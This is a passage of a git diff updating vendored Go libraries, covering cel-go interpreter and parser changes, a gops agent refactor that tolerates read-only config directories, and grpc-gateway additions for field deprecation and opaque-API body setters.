Unwrap() Activation { + return f.activation +} + // UnknownAttributePatterns implements the PartialActivation interface returning the unknown patterns // if they were provided to the input activation, or an empty set if the proxied activation is not partial. func (f *folder) UnknownAttributePatterns() []*AttributePattern { @@ -1428,7 +1433,7 @@ func (f *folder) AsPartialActivation() (PartialActivation, bool) { func (f *folder) evalResult() ref.Val { f.computeResult = true if f.interrupted { - return types.NewErr("operation interrupted") + return types.WrapErr(InterruptError{}) } res := f.result.Eval(f) // Convert a mutable list or map to an immutable one if the comprehension has generated a list or @@ -1463,6 +1468,20 @@ func checkInterrupt(a Activation) bool { return found && stop == true } +// InterruptError is a specialized error type used to signal that program evaluation should check +// whether a context cancellation is responsible for the error. +type InterruptError struct{} + +// Error returns operation interrupted. +func (InterruptError) Error() string { + return "operation interrupted" +} + +// Is returns whether two errors are interrupt errors. +func (ie InterruptError) Is(target error) bool { + return target.Error() == ie.Error() +} + var ( // pool of var folders to reduce allocations during folds. folderPool = &sync.Pool{ diff --git a/vendor/github.com/google/cel-go/interpreter/interpreter.go b/vendor/github.com/google/cel-go/interpreter/interpreter.go index be57e743..d81ef128 100644 --- a/vendor/github.com/google/cel-go/interpreter/interpreter.go +++ b/vendor/github.com/google/cel-go/interpreter/interpreter.go @@ -137,11 +137,27 @@ func (esa evalStateActivation) asEvalState() EvalState { return esa.state } +// activationWrapper identifies an object carrying local variables which should not be exposed to the user +// Activations used for such purposes can be unwrapped to return the activation which omits local state. +type activationWrapper interface { + // Unwrap returns the Activation which omits local state. + Unwrap() Activation +} + // asEvalState walks the Activation hierarchy and returns the first EvalState found, if present. func asEvalState(vars Activation) (EvalState, bool) { if conv, ok := vars.(evalStateConverter); ok { return conv.asEvalState(), true } + // Check if the current activation wraps another activation. This is used to support + // wrappers such as the @block() activation which may be composed of a dynamicSlotActivation or a + // constantSlotActivation. In this case, the underlying activation is the portion which interacts + // with the EvalState. + if wrapper, ok := vars.(activationWrapper); ok { + unwrapped := wrapper.Unwrap() + // Recursively call asEvalState on the unwrapped activation. This will check the unwrapped value and its parents. + return asEvalState(unwrapped) + } if vars.Parent() != nil { return asEvalState(vars.Parent()) } diff --git a/vendor/github.com/google/cel-go/interpreter/planner.go b/vendor/github.com/google/cel-go/interpreter/planner.go index f0e0d430..0bc38449 100644 --- a/vendor/github.com/google/cel-go/interpreter/planner.go +++ b/vendor/github.com/google/cel-go/interpreter/planner.go @@ -61,13 +61,20 @@ type planner struct { observers []StatefulObserver } +type planBuilder struct { + *planner + + localVars map[string]int +} + // Plan implements the interpretablePlanner interface. This implementation of the Plan method also // applies decorators to each Interpretable generated as part of the overall plan. Decorators are // useful for layering functionality into the evaluation that is not natively understood by CEL, // such as state-tracking, expression re-write, and possibly efficient thread-safe memoization of // repeated expressions. func (p *planner) Plan(expr ast.Expr) (Interpretable, error) { - i, err := p.plan(expr) + pb := &planBuilder{planner: p, localVars: make(map[string]int)} + i, err := pb.plan(expr) if err != nil { return nil, err } @@ -77,7 +84,7 @@ func (p *planner) Plan(expr ast.Expr) (Interpretable, error) { return &ObservableInterpretable{Interpretable: i, observers: p.observers}, nil } -func (p *planner) plan(expr ast.Expr) (Interpretable, error) { +func (p *planBuilder) plan(expr ast.Expr) (Interpretable, error) { switch expr.Kind() { case ast.CallKind: return p.decorate(p.planCall(expr)) @@ -102,7 +109,7 @@ func (p *planner) plan(expr ast.Expr) (Interpretable, error) { // decorate applies the InterpretableDecorator functions to the given Interpretable. // Both the Interpretable and error generated by a Plan step are accepted as arguments // for convenience. -func (p *planner) decorate(i Interpretable, err error) (Interpretable, error) { +func (p *planBuilder) decorate(i Interpretable, err error) (Interpretable, error) { if err != nil { return nil, err } @@ -116,20 +123,26 @@ func (p *planner) decorate(i Interpretable, err error) (Interpretable, error) { } // planIdent creates an Interpretable that resolves an identifier from an Activation. -func (p *planner) planIdent(expr ast.Expr) (Interpretable, error) { +func (p *planBuilder) planIdent(expr ast.Expr) (Interpretable, error) { // Establish whether the identifier is in the reference map. if identRef, found := p.refMap[expr.ID()]; found { return p.planCheckedIdent(expr.ID(), identRef) } // Create the possible attribute list for the unresolved reference. ident := expr.AsIdent() + if p.isLocalVar(ident) { + return &evalAttr{ + adapter: p.adapter, + attr: p.attrFactory.AbsoluteAttribute(expr.ID(), ident), + }, nil + } return &evalAttr{ adapter: p.adapter, attr: p.attrFactory.MaybeAttribute(expr.ID(), ident), }, nil } -func (p *planner) planCheckedIdent(id int64, identRef *ast.ReferenceInfo) (Interpretable, error) { +func (p *planBuilder) planCheckedIdent(id int64, identRef *ast.ReferenceInfo) (Interpretable, error) { // Plan a constant reference if this is the case for this simple identifier. if identRef.Value != nil { return NewConstValue(id, identRef.Value), nil @@ -158,7 +171,7 @@ func (p *planner) planCheckedIdent(id int64, identRef *ast.ReferenceInfo) (Inter // a) selects a field from a map or proto. // b) creates a field presence test for a select within a has() macro. // c) resolves the select expression to a namespaced identifier. -func (p *planner) planSelect(expr ast.Expr) (Interpretable, error) { +func (p *planBuilder) planSelect(expr ast.Expr) (Interpretable, error) { // If the Select id appears in the reference map from the CheckedExpr proto then it is either // a namespaced identifier or enum value. if identRef, found := p.refMap[expr.ID()]; found { @@ -214,7 +227,7 @@ func (p *planner) planSelect(expr ast.Expr) (Interpretable, error) { // planCall creates a callable Interpretable while specializing for common functions and invocation // patterns. Specifically, conditional operators &&, ||, ?:, and (in)equality functions result in // optimized Interpretable values. -func (p *planner) planCall(expr ast.Expr) (Interpretable, error) { +func (p *planBuilder) planCall(expr ast.Expr) (Interpretable, error) { call := expr.AsCall() target, fnName, oName := p.resolveFunction(expr) argCount := len(call.Args()) @@ -291,7 +304,7 @@ func (p *planner) planCall(expr ast.Expr) (Interpretable, error) { } // planCallZero generates a zero-arity callable Interpretable. -func (p *planner) planCallZero(expr ast.Expr, +func (p *planBuilder) planCallZero(expr ast.Expr, function string, overload string, impl *functions.Overload) (Interpretable, error) { @@ -307,7 +320,7 @@ func (p *planner) planCallZero(expr ast.Expr, } // planCallUnary generates a unary callable Interpretable. -func (p *planner) planCallUnary(expr ast.Expr, +func (p *planBuilder) planCallUnary(expr ast.Expr, function string, overload string, impl *functions.Overload, @@ -335,7 +348,7 @@ func (p *planner) planCallUnary(expr ast.Expr, } // planCallBinary generates a binary callable Interpretable. -func (p *planner) planCallBinary(expr ast.Expr, +func (p *planBuilder) planCallBinary(expr ast.Expr, function string, overload string, impl *functions.Overload, @@ -364,7 +377,7 @@ func (p *planner) planCallBinary(expr ast.Expr, } // planCallVarArgs generates a variable argument callable Interpretable. -func (p *planner) planCallVarArgs(expr ast.Expr, +func (p *planBuilder) planCallVarArgs(expr ast.Expr, function string, overload string, impl *functions.Overload, @@ -392,7 +405,7 @@ func (p *planner) planCallVarArgs(expr ast.Expr, } // planCallEqual generates an equals (==) Interpretable. -func (p *planner) planCallEqual(expr ast.Expr, args []Interpretable) (Interpretable, error) { +func (p *planBuilder) planCallEqual(expr ast.Expr, args []Interpretable) (Interpretable, error) { return &evalEq{ id: expr.ID(), lhs: args[0], @@ -401,7 +414,7 @@ func (p *planner) planCallEqual(expr ast.Expr, args []Interpretable) (Interpreta } // planCallNotEqual generates a not equals (!=) Interpretable. -func (p *planner) planCallNotEqual(expr ast.Expr, args []Interpretable) (Interpretable, error) { +func (p *planBuilder) planCallNotEqual(expr ast.Expr, args []Interpretable) (Interpretable, error) { return &evalNe{ id: expr.ID(), lhs: args[0], @@ -410,7 +423,7 @@ func (p *planner) planCallNotEqual(expr ast.Expr, args []Interpretable) (Interpr } // planCallLogicalAnd generates a logical and (&&) Interpretable. -func (p *planner) planCallLogicalAnd(expr ast.Expr, args []Interpretable) (Interpretable, error) { +func (p *planBuilder) planCallLogicalAnd(expr ast.Expr, args []Interpretable) (Interpretable, error) { return &evalAnd{ id: expr.ID(), terms: args, @@ -418,7 +431,7 @@ func (p *planner) planCallLogicalAnd(expr ast.Expr, args []Interpretable) (Inter } // planCallLogicalOr generates a logical or (||) Interpretable. -func (p *planner) planCallLogicalOr(expr ast.Expr, args []Interpretable) (Interpretable, error) { +func (p *planBuilder) planCallLogicalOr(expr ast.Expr, args []Interpretable) (Interpretable, error) { return &evalOr{ id: expr.ID(), terms: args, @@ -426,7 +439,7 @@ func (p *planner) planCallLogicalOr(expr ast.Expr, args []Interpretable) (Interp } // planCallConditional generates a conditional / ternary (c ? t : f) Interpretable. -func (p *planner) planCallConditional(expr ast.Expr, args []Interpretable) (Interpretable, error) { +func (p *planBuilder) planCallConditional(expr ast.Expr, args []Interpretable) (Interpretable, error) { cond := args[0] t := args[1] var tAttr Attribute @@ -454,7 +467,7 @@ func (p *planner) planCallConditional(expr ast.Expr, args []Interpretable) (Inte // planCallIndex either extends an attribute with the argument to the index operation, or creates // a relative attribute based on the return of a function call or operation. -func (p *planner) planCallIndex(expr ast.Expr, args []Interpretable, optional bool) (Interpretable, error) { +func (p *planBuilder) planCallIndex(expr ast.Expr, args []Interpretable, optional bool) (Interpretable, error) { op := args[0] ind := args[1] opType := p.typeMap[op.ID()] @@ -489,7 +502,7 @@ func (p *planner) planCallIndex(expr ast.Expr, args []Interpretable, optional bo } // planCreateList generates a list construction Interpretable. -func (p *planner) planCreateList(expr ast.Expr) (Interpretable, error) { +func (p *planBuilder) planCreateList(expr ast.Expr) (Interpretable, error) { list := expr.AsList() optionalIndices := list.OptionalIndices() elements := list.Elements() @@ -518,7 +531,7 @@ func (p *planner) planCreateList(expr ast.Expr) (Interpretable, error) { } // planCreateStruct generates a map or object construction Interpretable. -func (p *planner) planCreateMap(expr ast.Expr) (Interpretable, error) { +func (p *planBuilder) planCreateMap(expr ast.Expr) (Interpretable, error) { m := expr.AsMap() entries := m.Entries() optionals := make([]bool, len(entries)) @@ -552,7 +565,7 @@ func (p *planner) planCreateMap(expr ast.Expr) (Interpretable, error) { } // planCreateObj generates an object construction Interpretable. -func (p *planner) planCreateStruct(expr ast.Expr) (Interpretable, error) { +func (p *planBuilder) planCreateStruct(expr ast.Expr) (Interpretable, error) { obj := expr.AsStruct() typeName, defined := p.resolveTypeName(obj.TypeName()) if !defined { @@ -586,7 +599,7 @@ func (p *planner) planCreateStruct(expr ast.Expr) (Interpretable, error) { } // planComprehension generates an Interpretable fold operation. -func (p *planner) planComprehension(expr ast.Expr) (Interpretable, error) { +func (p *planBuilder) planComprehension(expr ast.Expr) (Interpretable, error) { fold := expr.AsComprehension() accu, err := p.plan(fold.AccuInit()) if err != nil { @@ -596,6 +609,7 @@ func (p *planner) planComprehension(expr ast.Expr) (Interpretable, error) { if err != nil { return nil, err } + p.pushLocalVars(fold.AccuVar(), fold.IterVar(), fold.IterVar2()) cond, err := p.plan(fold.LoopCondition()) if err != nil { return nil, err @@ -604,10 +618,12 @@ func (p *planner) planComprehension(expr ast.Expr) (Interpretable, error) { if err != nil { return nil, err } + p.popLocalVars(fold.IterVar(), fold.IterVar2()) result, err := p.plan(fold.Result()) if err != nil { return nil, err } + p.popLocalVars(fold.AccuVar()) return &evalFold{ id: expr.ID(), accuVar: fold.AccuVar(), @@ -623,13 +639,13 @@ func (p *planner) planComprehension(expr ast.Expr) (Interpretable, error) { } // planConst generates a constant valued Interpretable. -func (p *planner) planConst(expr ast.Expr) (Interpretable, error) { +func (p *planBuilder) planConst(expr ast.Expr) (Interpretable, error) { return NewConstValue(expr.ID(), expr.AsLiteral()), nil } // resolveTypeName takes a qualified string constructed at parse time, applies the proto // namespace resolution rules to it in a scan over possible matching types in the TypeProvider. -func (p *planner) resolveTypeName(typeName string) (string, bool) { +func (p *planBuilder) resolveTypeName(typeName string) (string, bool) { for _, qualifiedTypeName := range p.container.ResolveCandidateNames(typeName) { if _, found := p.provider.FindStructType(qualifiedTypeName); found { return qualifiedTypeName, true @@ -646,7 +662,7 @@ func (p *planner) resolveTypeName(typeName string) (string, bool) { // - The target expression may only consist of ident and select expressions. // - The function is declared in the environment using its fully-qualified name. // - The fully-qualified function name matches the string serialized target value. -func (p *planner) resolveFunction(expr ast.Expr) (ast.Expr, string, string) { +func (p *planBuilder) resolveFunction(expr ast.Expr) (ast.Expr, string, string) { // Note: similar logic exists within the `checker/checker.go`. If making changes here // please consider the impact on checker.go and consolidate implementations or mirror code // as appropriate. @@ -687,7 +703,7 @@ func (p *planner) resolveFunction(expr ast.Expr) (ast.Expr, string, string) { // namespaced identifiers must be stripped, as all declarations already use fully-qualified // names. This stripping behavior is handled automatically by the ResolveCandidateNames // call. - return target, stripLeadingDot(fnName), "" + return target, strings.TrimPrefix(fnName, "."), "" } // Handle the situation where the function target actually indicates a qualified function name. @@ -710,7 +726,7 @@ func (p *planner) resolveFunction(expr ast.Expr) (ast.Expr, string, string) { // relativeAttr indicates that the attribute in this case acts as a qualifier and as such needs to // be observed to ensure that it's evaluation value is properly recorded for state tracking. -func (p *planner) relativeAttr(id int64, eval Interpretable, opt bool) (InterpretableAttribute, error) { +func (p *planBuilder) relativeAttr(id int64, eval Interpretable, opt bool) (InterpretableAttribute, error) { eAttr, ok := eval.(InterpretableAttribute) if !ok { eAttr = &evalAttr{ @@ -733,7 +749,7 @@ func (p *planner) relativeAttr(id int64, eval Interpretable, opt bool) (Interpre // toQualifiedName converts an expression AST into a qualified name if possible, with a boolean // 'found' value that indicates if the conversion is successful. -func (p *planner) toQualifiedName(operand ast.Expr) (string, bool) { +func (p *planBuilder) toQualifiedName(operand ast.Expr) (string, bool) { // If the checker identified the expression as an attribute by the type-checker, then it can't // possibly be part of qualified name in a namespace. _, isAttr := p.refMap[operand.ID()] @@ -759,9 +775,35 @@ func (p *planner) toQualifiedName(operand ast.Expr) (string, bool) { return "", false } -func stripLeadingDot(name string) string { - if strings.HasPrefix(name, ".") { - return name[1:] +func (p *planBuilder) pushLocalVars(names ...string) { + for _, name := range names { + if name == "" { + continue + } + if cnt, found := p.localVars[name]; found { + p.localVars[name] = cnt + 1 + } else { + p.localVars[name] = 1 + } + } +} + +func (p *planBuilder) popLocalVars(names ...string) { + for _, name := range names { + if name == "" { + continue + } + if cnt, found := p.localVars[name]; found { + if cnt == 1 { + delete(p.localVars, name) + } else { + p.localVars[name] = cnt - 1 + } + } } - return name +} + +func (p *planBuilder) isLocalVar(name string) bool { + _, found := p.localVars[name] + return found } diff --git a/vendor/github.com/google/cel-go/parser/helper.go b/vendor/github.com/google/cel-go/parser/helper.go index c13296dd..f960be20 100644 --- a/vendor/github.com/google/cel-go/parser/helper.go +++ b/vendor/github.com/google/cel-go/parser/helper.go @@ -159,7 +159,7 @@ func (p *parserHelper) id(ctx any) int64 { offset.Start = p.sourceInfo.ComputeOffset(int32(c.GetLine()), int32(c.GetColumn())) offset.Stop = offset.Start + int32(len(c.GetText())) case common.Location: - offset.Start = p.sourceInfo.ComputeOffset(int32(c.Line()), int32(c.Column())) + offset.Start = p.sourceInfo.ComputeOffsetAbsolute(int32(c.Line()), int32(c.Column())) offset.Stop = offset.Start case ast.OffsetRange: offset = c diff --git a/vendor/github.com/google/cel-go/parser/parser.go b/vendor/github.com/google/cel-go/parser/parser.go index b5ec73ec..d1567b5f 100644 --- a/vendor/github.com/google/cel-go/parser/parser.go +++ b/vendor/github.com/google/cel-go/parser/parser.go @@ -42,6 +42,7 @@ type Parser struct { func NewParser(opts ...Option) (*Parser, error) { p := &Parser{} p.enableHiddenAccumulatorName = true + p.enableIdentEscapeSyntax = true for _, opt := range opts { if err := opt(&p.options); err != nil { return nil, err diff --git a/vendor/github.com/google/gops/agent/agent.go b/vendor/github.com/google/gops/agent/agent.go index b7978069..9e605039 100644 --- a/vendor/github.com/google/gops/agent/agent.go +++ b/vendor/github.com/google/gops/agent/agent.go @@ -10,6 +10,7 @@ import ( "bufio" "context" "encoding/binary" + "errors" "fmt" "io" "net" @@ -21,7 +22,6 @@ import ( "runtime/pprof" "runtime/trace" "strconv" - "strings" "sync" "syscall" "time" @@ -78,47 +78,38 @@ func Listen(opts Options) error { mu.Lock() defer mu.Unlock() - if portfile != "" { + if listener != nil { return fmt.Errorf("gops: agent already listening at: %v", listener.Addr()) } - // new - gopsdir := opts.ConfigDir - if gopsdir == "" { - cfgDir, err := internal.ConfigDir() - if err != nil { - return err - } - gopsdir = cfgDir - } - - err := os.MkdirAll(gopsdir, os.ModePerm) - if err != nil { - return err - } - if opts.ShutdownCleanup { - gracefulShutdown() - } - addr := opts.Addr if addr == "" { addr = defaultAddr } + var lc net.ListenConfig if opts.ReuseSocketAddrAndPort { lc.Control = setReuseAddrAndPortSockopts } + + var err error listener, err = lc.Listen(context.Background(), "tcp", addr) if err != nil { return err } + port := listener.Addr().(*net.TCPAddr).Port - portfile = filepath.Join(gopsdir, strconv.Itoa(os.Getpid())) - err = os.WriteFile(portfile, []byte(strconv.Itoa(port)), os.ModePerm) + err = saveConfig(opts, port) if err != nil { - return err + // ignore and work in remote mode only + if !errors.Is(err, syscall.EROFS) && !errors.Is(err, syscall.EPERM) { + return err + } } + if opts.ShutdownCleanup { + gracefulShutdown() + } go listen(listener) return nil } @@ -128,8 +119,7 @@ func listen(l net.Listener) { for { fd, err := l.Accept() if err != nil { - // No great way to check for this, see https://golang.org/issues/4373. - if !strings.Contains(err.Error(), "use of closed network connection") { + if !errors.Is(err, net.ErrClosed) { fmt.Fprintf(os.Stderr, "gops: %v\n", err) } if netErr, ok := err.(net.Error); ok && !netErr.Temporary() { @@ -149,6 +139,25 @@ func listen(l net.Listener) { } } +func saveConfig(opts Options, port int) error { + gopsdir := opts.ConfigDir + if gopsdir == "" { + cfgDir, err := internal.ConfigDir() + if err != nil { + return err + } + gopsdir = cfgDir + } + + err := os.MkdirAll(gopsdir, os.ModePerm) + if err != nil { + return err + } + + portfile = filepath.Join(gopsdir, strconv.Itoa(os.Getpid())) + return os.WriteFile(portfile, []byte(strconv.Itoa(port)), os.ModePerm) +} + func gracefulShutdown() { c := make(chan os.Signal, 1) gosignal.Notify(c, syscall.SIGINT, syscall.SIGTERM, syscall.SIGQUIT) @@ -176,6 +185,7 @@ func Close() { } if listener != nil { listener.Close() + listener = nil } } @@ -219,10 +229,11 @@ func handle(conn io.ReadWriter, msg []byte) error { fmt.Fprintf(conn, "heap-objects: %v\n", s.HeapObjects) fmt.Fprintf(conn, "stack-in-use: %v\n", formatBytes(s.StackInuse)) fmt.Fprintf(conn, "stack-sys: %v\n", formatBytes(s.StackSys)) - fmt.Fprintf(conn, "stack-mspan-inuse: %v\n", formatBytes(s.MSpanInuse)) - fmt.Fprintf(conn, "stack-mspan-sys: %v\n", formatBytes(s.MSpanSys)) - fmt.Fprintf(conn, "stack-mcache-inuse: %v\n", formatBytes(s.MCacheInuse)) - fmt.Fprintf(conn, "stack-mcache-sys: %v\n", formatBytes(s.MCacheSys)) + fmt.Fprintf(conn, "mspan-in-use: %v\n", formatBytes(s.MSpanInuse)) + fmt.Fprintf(conn, "mspan-sys: %v\n", formatBytes(s.MSpanSys)) + fmt.Fprintf(conn, "mcache-in-use: %v\n", formatBytes(s.MCacheInuse)) + fmt.Fprintf(conn, "mcache-sys: %v\n", formatBytes(s.MCacheSys)) + fmt.Fprintf(conn, "buck-hash-sys: %v\n", formatBytes(s.BuckHashSys)) fmt.Fprintf(conn, "other-sys: %v\n", formatBytes(s.OtherSys)) fmt.Fprintf(conn, "gc-sys: %v\n", formatBytes(s.GCSys)) fmt.Fprintf(conn, "next-gc: when heap-alloc >= %v\n", formatBytes(s.NextGC)) diff --git a/vendor/github.com/google/gops/goprocess/goprocess.go b/vendor/github.com/google/gops/goprocess/goprocess.go index dd7eecf1..bf9fa54a 100644 --- a/vendor/github.com/google/gops/goprocess/goprocess.go +++ b/vendor/github.com/google/gops/goprocess/goprocess.go @@ -94,7 +94,7 @@ func findAll(pss []*process.Process, isGo isGoFunc, concurrencyLimit int) []P { } // Find finds info about the process identified with the given PID. -func Find(pid int) (p P, ok bool, err error) { +func Find(pid int) (P, bool, error) { pr, err := process.NewProcess(int32(pid)) if err != nil { return P{}, false, err diff --git a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/internal/descriptor/registry.go b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/internal/descriptor/registry.go index 743cea8f..b057980a 100644 --- a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/internal/descriptor/registry.go +++ b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/internal/descriptor/registry.go @@ -157,6 +157,10 @@ type Registry struct { // properties useAllOfForRefs bool + // omitArrayItemTypeWhenRefSibling, if set, will omit 'type: object' in array items when $ref is present + // to avoid no-$ref-siblings violations in OpenAPI v2 + omitArrayItemTypeWhenRefSibling bool + // allowPatchFeature determines whether to use PATCH feature involving update masks (using google.protobuf.FieldMask). allowPatchFeature bool @@ -167,6 +171,9 @@ type Registry struct { // enableRpcDeprecation whether to process grpc method's deprecated option enableRpcDeprecation bool + // enableFieldDeprecation whether to process proto field's deprecated option + enableFieldDeprecation bool + // expandSlashedPathPatterns, if true, for a path parameter carrying a sub-path, described via parameter pattern (i.e. // the pattern contains forward slashes), this will expand the _pattern_ into the URI and will _replace_ the parameter // with new path parameters inferred from patterns wildcards. @@ -885,6 +892,16 @@ func (r *Registry) GetUseAllOfForRefs() bool { return r.useAllOfForRefs } +// SetOmitArrayItemTypeWhenRefSibling sets omitArrayItemTypeWhenRefSibling +func (r *Registry) SetOmitArrayItemTypeWhenRefSibling(omit bool) { + r.omitArrayItemTypeWhenRefSibling = omit +} + +// GetOmitArrayItemTypeWhenRefSibling returns omitArrayItemTypeWhenRefSibling +func (r *Registry) GetOmitArrayItemTypeWhenRefSibling() bool { + return r.omitArrayItemTypeWhenRefSibling +} + // SetAllowPatchFeature sets allowPatchFeature func (r *Registry) SetAllowPatchFeature(allow bool) { r.allowPatchFeature = allow @@ -915,6 +932,16 @@ func (r *Registry) GetEnableRpcDeprecation() bool { return r.enableRpcDeprecation } +// SetEnableFieldDeprecation sets enableFieldDeprecation +func (r *Registry) SetEnableFieldDeprecation(enable bool) { + r.enableFieldDeprecation = enable +} + +// GetEnableFieldDeprecation returns enableFieldDeprecation +func (r *Registry) GetEnableFieldDeprecation() bool { + return r.enableFieldDeprecation +} + func (r *Registry) SetExpandSlashedPathPatterns(expandSlashedPathPatterns bool) { r.expandSlashedPathPatterns = expandSlashedPathPatterns } diff --git a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/internal/descriptor/types.go b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/internal/descriptor/types.go index 5a43472b..46a4a173 100644 --- a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/internal/descriptor/types.go +++ b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/internal/descriptor/types.go @@ -109,11 +109,7 @@ func (m *Message) FQMN() string { // It prefixes the type name with the package alias if // its belonging package is not "currentPackage". func (m *Message) GoType(currentPackage string) string { - var components []string - components = append(components, m.Outers...) - components = append(components, m.GetName()) - - name := strings.Join(components, "_") + name := goTypeName(m.Outers, m.GetName()) if !m.ForcePrefixedName && m.File.GoPkg.Path == currentPackage { return name } @@ -148,17 +144,23 @@ func (e *Enum) FQEN() string { // It prefixes the type name with the package alias if // its belonging package is not "currentPackage". func (e *Enum) GoType(currentPackage string) string { - var components []string - components = append(components, e.Outers...) - components = append(components, e.GetName()) - - name := strings.Join(components, "_") + name := goTypeName(e.Outers, e.GetName()) if !e.ForcePrefixedName && e.File.GoPkg.Path == currentPackage { return name } return fmt.Sprintf("%s.%s", e.File.Pkg(), name) } +func goTypeName(outers []string, name string) string { + components := make([]string, 0, len(outers)+1) + for _, outer := range outers { + components = append(components, casing.Camel(outer)) + } + + components = append(components, casing.Camel(name)) + return strings.Join(components, "_") +} + // Service wraps descriptorpb.ServiceDescriptorProto for richer features. type Service struct { *descriptorpb.ServiceDescriptorProto @@ -444,6 +446,35 @@ func (p FieldPath) AssignableExprPrep(msgExpr string, currentPackage string) str return strings.Join(preparations, "\n") } +// OpaqueSetterExpr returns the Go expression to invoke the generated setter for +// the final component in the path while respecting nested getters required by +// the opaque API. +func (p FieldPath) OpaqueSetterExpr(msgExpr string) string { + if len(p) == 0 { + return msgExpr + } + + return fmt.Sprintf("%s.Set%s", p.opaqueOwnerExpr(msgExpr), casing.Camel(p[len(p)-1].Name)) +} + +// opaqueOwnerExpr builds the Go expression for the message that owns the final +// component in the path by chaining the generated getters. +func (p FieldPath) opaqueOwnerExpr(msgExpr string) string { + if len(p) <= 1 { + return msgExpr + } + + var sb strings.Builder + sb.WriteString(msgExpr) + for i := range len(p) - 1 { + sb.WriteString(".Get") + sb.WriteString(casing.Camel(p[i].Name)) + sb.WriteString("()") + } + + return sb.String() +} + // FieldPathComponent is a path component in FieldPath type FieldPathComponent struct { // Name is a name of the proto field which this component corresponds to. diff --git a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-grpc-gateway/internal/gengateway/BUILD.bazel b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-grpc-gateway/internal/gengateway/BUILD.bazel index cc2c8b8a..752a4c02 100644 --- a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-grpc-gateway/internal/gengateway/BUILD.bazel +++ b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-grpc-gateway/internal/gengateway/BUILD.bazel @@ -17,6 +17,7 @@ go_library( "//utilities", "@org_golang_google_grpc//grpclog", "@org_golang_google_protobuf//proto", + "@org_golang_google_protobuf//types/descriptorpb", "@org_golang_google_protobuf//types/pluginpb", ], ) @@ -34,6 +35,7 @@ go_test( "//internal/httprule", "@org_golang_google_protobuf//proto", "@org_golang_google_protobuf//types/descriptorpb", + "@org_golang_google_protobuf//types/pluginpb", ], ) diff --git a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-grpc-gateway/internal/gengateway/generator.go b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-grpc-gateway/internal/gengateway/generator.go index 5a58625c..d2529362 100644 --- a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-grpc-gateway/internal/gengateway/generator.go +++ b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-grpc-gateway/internal/gengateway/generator.go @@ -119,6 +119,7 @@ func (g *generator) generate(file *descriptor.File) (string, error) { for _, svc := range file.Services { for _, m := range svc.Methods { imports = append(imports, g.addEnumPathParamImports(file, m, pkgSeen)...) + imports = append(imports, g.addBodyFieldImports(file, m, pkgSeen)...) pkg := m.RequestType.File.GoPkg if len(m.Bindings) == 0 || pkg == file.GoPkg || pkgSeen[pkg.Path] { @@ -161,3 +162,41 @@ func (g *generator) addEnumPathParamImports(file *descriptor.File, m *descriptor } return imports } + +// addBodyFieldImports ensures nested body message types pull in their Go packages. +func (g *generator) addBodyFieldImports( + file *descriptor.File, + m *descriptor.Method, + pkgSeen map[string]bool, +) []descriptor.GoPackage { + if g.reg == nil || !g.useOpaqueAPI { + return nil + } + + imports := make([]descriptor.GoPackage, 0, len(m.Bindings)) + for _, b := range m.Bindings { + if b.Body == nil || len(b.Body.FieldPath) == 0 { + continue + } + + target := b.Body.FieldPath[len(b.Body.FieldPath)-1].Target + if target == nil || target.GetTypeName() == "" || target.Message == nil { + continue + } + + msg, err := g.reg.LookupMsg(target.Message.FQMN(), target.GetTypeName()) + if err != nil { + continue + } + + pkg := msg.File.GoPkg + if pkg == file.GoPkg || pkgSeen[pkg.Path] { + continue + } + + pkgSeen[pkg.Path] = true + imports = append(imports, pkg) + } + + return imports +} diff --git a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-grpc-gateway/internal/gengateway/template.go b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-grpc-gateway/internal/gengateway/template.go index b647e1df..a08e0b45 100644 --- a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-grpc-gateway/internal/gengateway/template.go +++ b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-grpc-gateway/internal/gengateway/template.go @@ -12,6 +12,7 @@ import ( "github.com/grpc-ecosystem/grpc-gateway/v2/internal/descriptor" "github.com/grpc-ecosystem/grpc-gateway/v2/utilities" "google.golang.org/grpc/grpclog" + "google.golang.org/protobuf/types/descriptorpb" ) type param struct { @@ -47,6 +48,29 @@ func (b binding) GetBodyFieldStructName() (string, error) { return "", errors.New("no body field found") } +// GetBodyFieldType returns the Go type of the body field. +func (b binding) GetBodyFieldType() (string, error) { + if b.Body == nil || len(b.Body.FieldPath) == 0 { + return "", errors.New("no body field found") + } + + lastComponent := b.Body.FieldPath[len(b.Body.FieldPath)-1] + fieldType := lastComponent.Target.GetType() + + // Handle message types + if fieldType == descriptorpb.FieldDescriptorProto_TYPE_MESSAGE { + // Get the parent message to provide proper lookup context + parentMsg := lastComponent.Target.Message + msg, err := b.Registry.LookupMsg(parentMsg.FQMN(), lastComponent.Target.GetTypeName()) + if err != nil { + return "", fmt.Errorf("failed to lookup message type %s: %w", lastComponent.Target.GetTypeName(), err) + } + return msg.GoType(b.Method.Service.File.GoPkg.Path), nil + } + + return "", errors.New("unsupported body field type") +} + // HasQueryParam determines if the binding needs parameters in query string. // // It sometimes returns true even though actually the binding does not need. @@ -334,6 +358,9 @@ func request_{{ .Method.Service.GetName }}_{{ .Method.GetName }}_{{ .Index }}(ct funcMap template.FuncMap = map[string]interface{}{ "camelIdentifier": casing.CamelIdentifier, + "opaqueSetter": func(p descriptor.FieldPath, msgExpr string) string { + return p.OpaqueSetterExpr(msgExpr) + }, "toHTTPMethod": func(method string) string { return httpMethods[method] }, @@ -373,14 +400,18 @@ var filter_{{ .Method.Service.GetName }}_{{ .Method.GetName }}_{{ .Index }} = {{ {{- end }} {{- if not $isFieldMask }} {{- if 